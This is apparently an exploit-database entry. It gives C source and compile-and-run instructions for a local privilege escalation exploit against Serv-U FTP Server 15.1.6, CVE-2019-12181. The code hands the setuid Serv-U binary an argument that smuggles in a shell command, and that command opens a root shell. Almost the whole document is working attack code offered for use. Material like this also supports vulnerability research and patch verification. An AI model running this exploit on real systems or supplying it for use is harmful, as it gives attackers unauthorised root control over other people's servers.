Serv-U FTP Server version 15.1.6 suffers from a local privilege escalation vulnerability.
25bff5ba2be3edf9ed986bd39f8d9bd1ae0e31fb8515abafc5e1c68e32374b5b
/*
CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation
vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev
to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main()
{
char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
// if execv is successful, we won't reach here
printf("ret val: %d errno: %d\n", ret_val, errno);
return errno;
}